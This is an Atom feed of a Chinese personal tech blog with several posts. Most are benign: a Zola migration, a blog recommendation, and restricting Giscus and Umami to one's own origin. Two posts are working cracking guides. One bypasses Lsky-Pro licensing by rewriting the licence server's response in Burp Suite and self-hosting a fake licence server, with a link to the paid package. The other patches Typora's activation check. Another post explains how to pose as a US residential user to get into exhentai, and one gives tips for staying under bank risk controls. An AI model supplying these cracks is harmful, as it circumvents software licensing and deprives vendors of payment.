<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh">
    <title>AcoFork Blog Z</title>
    <subtitle>使用Zola构建的个人博客，分享网络技术、服务器部署、内网穿透、静态网站搭建、CDN优化、容器化部署等技术教程与实践经验的个人技术博客，专注于云原生、无服务器架构和前后端开发，作者为afoim&#x2F;二叉树树</subtitle>
    <link rel="self" type="application/atom+xml" href="https://af-archive-zola-classic.pages.dev/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2025-08-19T00:00:00+00:00</updated>
    <id>https://af-archive-zola-classic.pages.dev/atom.xml</id>
    <entry xml:lang="zh">
        <title>记录破解兰空图床（Lsky-Pro）</title>
        <published>2025-08-19T00:00:00+00:00</published>
        <updated>2025-08-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/hack-lskypro/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/hack-lskypro/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/hack-lskypro/">&lt;blockquote&gt;
&lt;p&gt;仅供学习交流，请在下载后24h内删除。体验地址： https://lsky.2x.nz&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;xia-zai-bao-ti&quot;&gt;下载包体&lt;&#x2F;h1&gt;
&lt;p&gt;兰空图床Pro付费版包： https://r2.072103.xyz&#x2F;lp223.zpaq （解压密码：2x.nz二叉树树）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi-huan-jing&quot;&gt;配置环境&lt;&#x2F;h1&gt;
&lt;p&gt;自行参考： https://docs.lsky.pro&#x2F;guide&#x2F;install&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;推荐使用宝塔面板部署&lt;&#x2F;strong&gt;，1Panel的容器化PHP好像有点问题&lt;&#x2F;p&gt;
&lt;p&gt;如果坚持要用1Panel，推荐使用PHP8.2，出现500，404等状态码问题请自行解决，似乎需要一个特殊的 &lt;code&gt;fallback&lt;&#x2F;code&gt; 设置。感谢 fishcpy提供的解决方案！这里是他的部署教程： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://linux.do&#x2F;t&#x2F;topic&#x2F;882900&quot;&gt;AcoFork的兰空图床开心版1panel部署教程 - 福利羊毛 - LINUX DO&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;nginx&quot;&gt;    # 全局 404 交给 @fallback 处理，不强制状态码
    error_page 404 @fallback;

    location &#x2F; {
        try_files $uri $uri&#x2F; @fallback;
    }

    # 命名 location：交给 index.php，但不强制 200
    location @fallback {
        rewrite ^ &#x2F;index.php last;
    }

    # -----------------------------
    # 特殊路径：&#x2F;api&#x2F;v2&#x2F; 也走 index.php，但不能强制 200
    # -----------------------------
    location ^~ &#x2F;api&#x2F;v2&#x2F; {
        # 同样使用 @fallback，不强制状态码
        try_files $uri $uri&#x2F; @fallback;
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;po-jie-shou-quan&quot;&gt;破解授权&lt;&#x2F;h1&gt;
&lt;p&gt;首先为你的Linux配置一个HTTP代理，指向 Burp Suite（软件自己找）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;export http_proxy=&amp;quot;http:&#x2F;&#x2F;127.0.0.1:8080&amp;quot;
export https_proxy=&amp;quot;http:&#x2F;&#x2F;127.0.0.1:8080&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-49-15-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;默认Burp仅拦截请求，不拦截响应，需要手动设置一下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-50-07-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后启用拦截&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-51-53-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当你通过官方教程到执行 &lt;code&gt;.&#x2F;install.sh&lt;&#x2F;code&gt; 的时候&lt;&#x2F;p&gt;
&lt;p&gt;会要求输入域名和授权密钥，域名填你自己的，否则之后上传的图片的预览地址将会不正确！授权密钥随便填！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-44-04-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;回车，会开始转圈圈&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-52-35-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看Burp，发现多了一个请求，首先点击放行&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-52-57-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在出现了响应，并且状态码为401&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-53-31-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;响应那块是可以编辑的，用 https://r2.072103.xyz&#x2F;lsky_success_223.txt 中的内容替换原响应。然后点击放行&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-54-38-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;恭喜，通过授权了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-46-23-9815172ea70ca4afa6e6b9258a421a50.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;安装完毕后也一样&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-lskypro&#x2F;assets&#x2F;images&#x2F;2025-08-18-22-46-34-042f8144edbd91ffff2bca438dd52c6e.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意。如果需要更新新版本，仍然需要有效的授权密钥，否则无法得到新版包体&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;zi-jian-shou-quan-fu-wu-qi&quot;&gt;自建授权服务器&lt;&#x2F;h1&gt;
&lt;p&gt;自建结束后将 &lt;code&gt;config&#x2F;app.php&lt;&#x2F;code&gt; 内的 &lt;code&gt;服务接口地址&lt;&#x2F;code&gt; 改为你的。就不需要每次安装都手动改响应包了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;php&quot;&gt;    &#x2F;**
     * 服务接口地址
     *&#x2F;
    &amp;#39;service_api&amp;#39; =&amp;gt; env(&amp;#39;APP_SERVICE_API&amp;#39;, &amp;#39;https://huohuastudio.com&amp;#39;),
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>关于今天银行卡被风控冻结</title>
        <published>2025-08-18T00:00:00+00:00</published>
        <updated>2025-08-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/risk-card/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/risk-card/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/risk-card/">&lt;h1 id=&quot;bei-dong&quot;&gt;被冻&lt;&#x2F;h1&gt;
&lt;p&gt;今天凌晨因为一笔神秘收入，得到了3000 CNY，先是到账微信零钱，然后由银行卡作为中介转到支付宝余额宝，合并后共3718 CNY，再提回银行卡，最后尝试通过银行卡进行交易，提示被风控&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;risk-card&#x2F;assets&#x2F;images&#x2F;2025-08-18-13-25-37-Screenshot_2025-08-18-11-22-26-06_847feaa60916919.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;chang-shi-xian-shang-zi-zhu-jie-kong&quot;&gt;尝试线上自助解控&lt;&#x2F;h1&gt;
&lt;p&gt;通过 中国工商银行 APP 查询到该卡由于近期交易异常而被冻结，同时APP给出了一个线上自助解控的方案，也就是人脸+尽职调查，提交，显示需要1~5天&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;risk-card&#x2F;assets&#x2F;images&#x2F;2025-08-18-13-28-06-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qian-wang-xian-xia-wang-dian-jie-kong&quot;&gt;前往线下网点解控&lt;&#x2F;h1&gt;
&lt;p&gt;因为提交的电子解控时间为早上6点，在7点半人工客服营业后咨询得知只有通过线上自助解控或线下柜面解控来解决，而根据上文，线上自助解控需要等待1~5天，我等不及，遂前往线下网点尝试办理&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wang-dian-jie-kong-suo-xu-wen-jian&quot;&gt;网点解控-所需文件&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;有效的身份证&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;被冻结的银行卡&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;ban-li-guo-cheng&quot;&gt;办理过程&lt;&#x2F;h1&gt;
&lt;p&gt;办业务先排队，由于中午只有一个柜台支持办理业务，等了1小时终于排到了&lt;&#x2F;p&gt;
&lt;p&gt;首先就是给柜员小姐银行卡，身份证，然后被告知需要查看流水，需要前往4号机进行A4规格的3个月内详细流水打印&lt;&#x2F;p&gt;
&lt;p&gt;接下来就是正常的签字盖章，什么我承诺该卡不出借、出卖，我承诺未参与洗钱活动巴拉巴拉，懂的都懂&lt;&#x2F;p&gt;
&lt;p&gt;最后通过柜面级权限查询到冻结原因&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ju-mian-gei-chu-de-dong-jie-yuan-yin&quot;&gt;柜面给出的冻结原因&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;该卡在短时间内进行多笔大额快入快出交易（共8笔），涉嫌业务违规操作，为了保证您的资金安全，对该卡的功能进行限制&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-jie-kong&quot;&gt;正式解控&lt;&#x2F;h1&gt;
&lt;p&gt;解控嘛，肯定是可以解控的。但是柜员小姐提到，如果日后仍然这样用卡，还是会被冻结，届时仍然需要像今天这样跑一趟&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wo-tui-duan-de-zheng-que-de-yong-qia-gui-fan&quot;&gt;我推断的正确的用卡规范&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;不频繁由银行卡作为中介在支付宝和微信中互转&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果交易可以直接刷银行卡，则刷银行卡&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在哪里入金就在哪里花，不要为了&lt;strong&gt;凑整&lt;&#x2F;strong&gt;等非必要的转账理由在各平台进行资金来回转账&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如有必要对银行卡进行提现，充值等操作，请按照最小金额划转。（如微信中有3000 CNY，支付宝有1700 CNY，卡内有0 CNY，现在想在京东购买一个4000 CNY的商品，则请将支付宝的 1000 CNY转入卡内，随后转出到微信进行支付）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;根据银行给你划定的消费度进行银行卡的充值、提现。比如你的平均日消费是50 CNY，突然有一天你往卡里充值了 3000 CNY，再尝试进行消费就很有可能被冻结。对于在银行视角看来不属于你消费能力&#x2F;承受度的金额，要不就不转，使其保持在原入金平台，要不就小额慢慢转，这样也比一次性进行大额快进快出的风险更低&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;我推断的风控值： 支付宝＜微信＜银行卡。支付宝中进行大额交易貌似并不容易风控，至少我的支付宝从来没有风控过（千元级交易），而微信对于陌生人风控值明显更高，几乎无法短期内向陌生人转账超过 1000 CNY，银行卡可能会因为突然的大额转入转出风控&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Typora免付费激活</title>
        <published>2025-08-15T00:00:00+00:00</published>
        <updated>2025-08-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/hack-typora/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/hack-typora/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/hack-typora/">&lt;p&gt;进入 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://typoraio.cn&#x2F;&quot;&gt;Typora 官方中文站&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下载并安装，假设你的安装路径为 &lt;code&gt;D:&#x2F;App&#x2F;Typora&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;关闭所有Typora相关进程&lt;&#x2F;p&gt;
&lt;p&gt;用VSCode打开 &lt;code&gt;D:&#x2F;App&#x2F;Typora&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;全局搜索，将&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;e.hasActivated=&amp;quot;true&amp;quot;==e.hasActivated
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;改为&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;e.hasActivated=&amp;quot;true&amp;quot;==“true”
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;打开 Typora，已激活&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;hack-typora&#x2F;assets&#x2F;images&#x2F;2025-08-16-10-43-31-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>我从Fuwari迁移到了Zola</title>
        <published>2025-08-15T00:00:00+00:00</published>
        <updated>2025-08-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/zola/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/zola/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/zola/">&lt;h1 id=&quot;wei-shen-me-yao-huan&quot;&gt;为什么要换&lt;&#x2F;h1&gt;
&lt;p&gt;不知道，想换就换了。&lt;&#x2F;p&gt;
&lt;p&gt;硬说的话就是看腻了玩腻了 &lt;del&gt;想换个女朋友了&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wei-shen-me-xuan-ze-zola&quot;&gt;为什么选择Zola&lt;&#x2F;h1&gt;
&lt;p&gt;很早之前一个人告诉我的，好像叫 Asuna？&lt;&#x2F;p&gt;
&lt;p&gt;看上了她是用Rust编写的，二进制单文件，无依赖，毫秒构建，模板语法简洁干练啥的&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ti-yan-ru-he&quot;&gt;体验如何&lt;&#x2F;h1&gt;
&lt;p&gt;还可以，目前网站纯静态，应该 也没有js？&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cai-de-keng&quot;&gt;踩的坑&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Zola的全局资源引用是在 &lt;code&gt;static&lt;&#x2F;code&gt; 而文章在 &lt;code&gt;content&#x2F;posts&#x2F;xxx.md&lt;&#x2F;code&gt; 如果你想要用本地图片则需要将文章作为目录，即 &lt;code&gt;content&#x2F;posts&#x2F;xxx&#x2F;index.md&lt;&#x2F;code&gt; ，然后Zola就可以生成 &lt;code&gt;content&#x2F;posts&#x2F;xxx&#x2F;assets&#x2F;xxx.jpg&lt;&#x2F;code&gt; 。无法使用Fuwari那种无论哪里都能塞图片的写法，还是有点难受的。不过旧文章我手动改一下引用相对路径即可，新文章就采用这种 &lt;em&gt;目录文章&lt;&#x2F;em&gt;  的写法去写吧&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;RSS。不能叫RSS了，Zola统称为Feed，默认使用 Atom 1.0，可以改为RSS（我没找到）启用后生成在 &lt;code&gt;&#x2F;atom.xml&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果你使用Cloudflare Page构建，要确保 &lt;code&gt;构建系统版本&lt;&#x2F;code&gt; 为 V1，并且设置环境变量 &lt;code&gt;ZOLA_VERSION&lt;&#x2F;code&gt; 为 &lt;code&gt;0.19.2&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果你使用Vercel构建，仅需要确保环境变量 &lt;code&gt;ZOLA_VERSION&lt;&#x2F;code&gt; 为 &lt;code&gt;0.19.2&lt;&#x2F;code&gt; 即可&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;shao-liao-shen-me&quot;&gt;少了什么？&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;Umami，Google统计，懒得上了，我现在也有点讨厌js了&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;bao-ti-bian-hua&quot;&gt;包体变化？&lt;&#x2F;h1&gt;
&lt;p&gt;如图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;zola&#x2F;assets&#x2F;images&#x2F;2025-08-15-22-26-51-76f8bfefb900dadf75e424ac9a463b69.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gou-jian-shi-jian&quot;&gt;构建时间？&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本地：20s -&amp;gt; 0.5s&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Vercel：40s -&amp;gt; 14s&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;xing-neng-ti-sheng&quot;&gt;性能提升？&lt;&#x2F;h1&gt;
&lt;p&gt;老实说我觉得Lighthouse根本没参考性，看个乐&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;zola&#x2F;assets&#x2F;images&#x2F;2025-08-15-22-37-35-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>atpx.com 一个有趣的神秘博客</title>
        <published>2025-08-13T18:41:24+00:00</published>
        <updated>2025-08-13T18:41:24+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/atpx-fun-blog/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/atpx-fun-blog/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/atpx-fun-blog/">&lt;p&gt;今天偶然找到一个神秘博客，还挺有意思的，于是捐了 100 CNY&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-13-18-48-58-e042214c625c78682e337f4863bdcb20.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;至于是咋找到这个博客的？&lt;&#x2F;p&gt;
&lt;p&gt;请看VCR&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-13-18-50-12-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后我就发现了这个宝藏博客&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-13-18-50-48-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;也许是封面图比较吸引人又或是文章内容行云流水十分丰富？&lt;&#x2F;p&gt;
&lt;p&gt;我不知道，总之我看了下去&lt;&#x2F;p&gt;
&lt;p&gt;陆陆续续读了不少&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-13-18-51-51-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后发现作者在当前的版本已经完全删除了JavaScript &lt;del&gt;我有一个朋友天天说HTML表单能替代JS&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;p&gt;也算是引起了共鸣吧&lt;&#x2F;p&gt;
&lt;p&gt;于情于理都得支持一下&lt;&#x2F;p&gt;
&lt;p&gt;就到这，我也不知道该写啥了，我是一个喜欢直来直去的人，真文艺不起来了&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>手把手教你进入e站里站（exhentai.org）</title>
        <published>2025-08-12T19:10:40+00:00</published>
        <updated>2025-08-12T19:10:40+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/exhentai/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/exhentai/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/exhentai/">&lt;ul&gt;
&lt;li&gt;欧美家宽IP。可以前往 https://af-archive-zola-classic.pages.dev/ak 买一个&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-12-19-24-21-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;p&gt;挂上你的美国家宽梯子&lt;&#x2F;p&gt;
&lt;p&gt;进入 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://forums.e-hentai.org&#x2F;&quot;&gt;E-Hentai Forums&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击 &lt;code&gt;Register&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-12-19-26-33-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注册邮箱使用 &lt;code&gt;gmail.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;exhentai能不能进是账号创建的时候就决定的！一定要让平台认为你是美国家宽用户！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;注册完毕后等大约一周（我是 2025-08-03注册的，2025-08-12已经可以进了），期间想干什么就干什么&lt;&#x2F;p&gt;
&lt;p&gt;一周之后，使用 &lt;strong&gt;浏览器的无痕模式+英语界面&lt;&#x2F;strong&gt; 再次进入 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://forums.e-hentai.org&#x2F;&quot;&gt;E-Hentai Forums&lt;&#x2F;a&gt; 登录&lt;&#x2F;p&gt;
&lt;p&gt;然后前往 https://exhentai.org&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;不出意外，成功进来&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-12-19-29-10-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来F12打开控制台&lt;&#x2F;p&gt;
&lt;p&gt;保存Ck以便日后登录（就无需那个傻逼美国家宽了）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-12-19-30-42-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>你是我吗？</title>
        <published>2025-08-12T15:43:18+00:00</published>
        <updated>2025-08-12T15:43:18+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/you-is-me-huh/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/you-is-me-huh/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/you-is-me-huh/">&lt;p&gt;今天收到一封小邮件&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-12-15-45-18-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我一眼就看出来了&lt;&#x2F;p&gt;
&lt;p&gt;有人Fork完我的仓库但是Giscus评论区没改成自己的。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;giscusjin-yun-xu-zi-ji&quot;&gt;Giscus仅允许自己&lt;&#x2F;h1&gt;
&lt;p&gt;在启用了Giscus的仓库放一个文件&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;json&quot;&gt;&amp;lt;!-- giscus.json --&amp;gt;
{
  &amp;quot;origins&amp;quot;: [&amp;quot;https://af-archive-zola-classic.pages.dev&amp;quot;]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样设置后，即使有人在它的网站上引入了&lt;strong&gt;你的评论区&lt;&#x2F;strong&gt;，也会被拒绝显示&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-12-15-48-23-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;umamijin-yun-xu-zi-ji&quot;&gt;Umami仅允许自己&lt;&#x2F;h1&gt;
&lt;p&gt;我博客有一个浏览量统计，基于Umami，之前是没鉴权的，如果你啥也不改，访问你的网站也会记到我网站上😅&lt;&#x2F;p&gt;
&lt;p&gt;Umami并没有给配置来更改CORS（毕竟这个访问量统计是我逆向出来的）&lt;&#x2F;p&gt;
&lt;p&gt;但是我的Umami套了EO，我可以直接写一套CORS规则仅允许自己调用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-12-15-50-25-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这样的话，即使你啥也不改，也不会把错误的统计信息发到我这，会报错CORS头不允许&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-12-15-51-04-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zui-hou&quot;&gt;最后&lt;&#x2F;h1&gt;
&lt;p&gt;开源是为了让大家更好的学习我的博客框架，不是让你照搬，请确认将所有内容、API端点、私有服务全部改为自己的后再上线！&lt;&#x2F;p&gt;
